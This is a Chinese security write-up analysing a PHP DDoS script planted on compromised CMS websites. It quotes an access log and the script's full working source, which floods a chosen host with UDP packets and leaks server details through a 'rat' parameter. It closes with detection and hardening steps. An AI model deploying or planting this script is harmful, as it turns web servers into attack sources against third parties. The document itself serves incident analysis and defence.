近期有大量的网站反馈,某IP持续请求网站上的某脚本文件(本例中是diy.php),产生大量的针对其他网站的访问请求,某安全团队在与用户取得联系后得到访问日志和脚本的源代码如下:
访问日志:
199.36.74.138 - - [29/Jul/2012:00:48:00 +0800] "GET /include/diy.php?host=76.10.221.209&port=6005&time=60 HTTP/1.1" 200 1371
PHP DDOS脚本:
<?php set_time_limit(999999); $host = $_GET['host']; $port = $_GET['port']; $exec_time = $_GET['time']; $Sendlen = 65535; $packets = 0; ignore_user_abort(True); if (StrLen($host)==0 or StrLen($port)==0 or StrLen($exec_time)==0){ if (StrLen($_GET['rat'])<-------->0){ echo $_GET['rat'].$_SERVER["HTTP_HOST"]."|".GetHostByName($_SERVER['SERVER_NAME'])."|".php_uname()."|".$_SERVER['SERVER_SOFTWARE'].$_GET['rat']; exit; } echo "Parameters can not be empty!"; exit; } for($i=0;$i<$Sendlen;$i++){ $out .= "A"; } $max_time = time()+$exec_time; echo "最大攻击时间:" . $max_time . " "; echo "攻击目标IP:" . $host . " "; echo "攻击端口:" . $host . " "; while(1){ $packets++; if(time() > $max_time){ break; } $fp = fsockopen("udp://$host", $port, $errno, $errstr, 5); if($fp){ fwrite($fp, $out); fclose($fp); } } echo "Send Host:$host:$port "; echo "Send Flow:$packets * ($Sendlen/1024=" . round($Sendlen/1024, 2) . ")kb / 1024 = " . round($packets*$Sendlen/1024/1024, 2) . " mb "; echo "Send Rate:" . round($packets/$exec_time, 2) . " packs/s;" . round($packets/$exec_time*$Sendlen/1024/1024, 2) . " mb/s"; ?>
该脚本使用了GET方式获取host,port和time三个参数,并且定义了发送的数据包大小为65535,最终构造的数据包为65535个“A”,然后通过调用fsockopen函数:fsockopen(“udp://$host”,$port, $errno, $errstr, 5);,采用UDP协议发送恶意数据包到目标网站的目标端口,以网站服务器为源头发起DOS攻击,消耗大量网站流量,占用网络带宽,最终导致网站无法正常访问。
经测试以上脚本每分钟发送的数据包平均能达到40W以上,对网站正常服务的杀伤力很大。在对遭受恶意DDOS脚本攻击的网站应用统计后发现,大部分网站使用的是dedecms以及phpcms作为网站应用,这也许与之前的相关CMS漏洞有关。
此类攻击方式类似于前几年比较盛行的mass sql injection攻击:即通过一个已知web应用的安全漏洞(比如SQL注入),结合搜索引擎,就可以发现大批存在该漏洞的网站,从而实现全自动的攻击流程:
发现web应用漏洞
1、发现web应用漏洞 2、搜索引擎寻找漏洞网站群(使用该web应用的网站) 3、结合爬虫批量攻击所有网站 4、批量上传恶意文件 5、批量发起DOS攻击 6、黑客主控端监控并维护被入侵网站列表
黑客通过以上步骤能够轻松实现有目的、批量、智能化的大范围恶意攻击。
针对恶意DOS脚本攻击的解决方案:
1.检查网站所有文件是否出现恶意fsockopen函数调用,或者以“udp://”为关键字grep检查网站所有文件,查看是否被植入恶意DOS脚本。
2.修改php.ini,设置disable_function:fsockopen,禁用fsockopen函数。
3.安装开源网站应用的最新安全补丁。
文/日志宝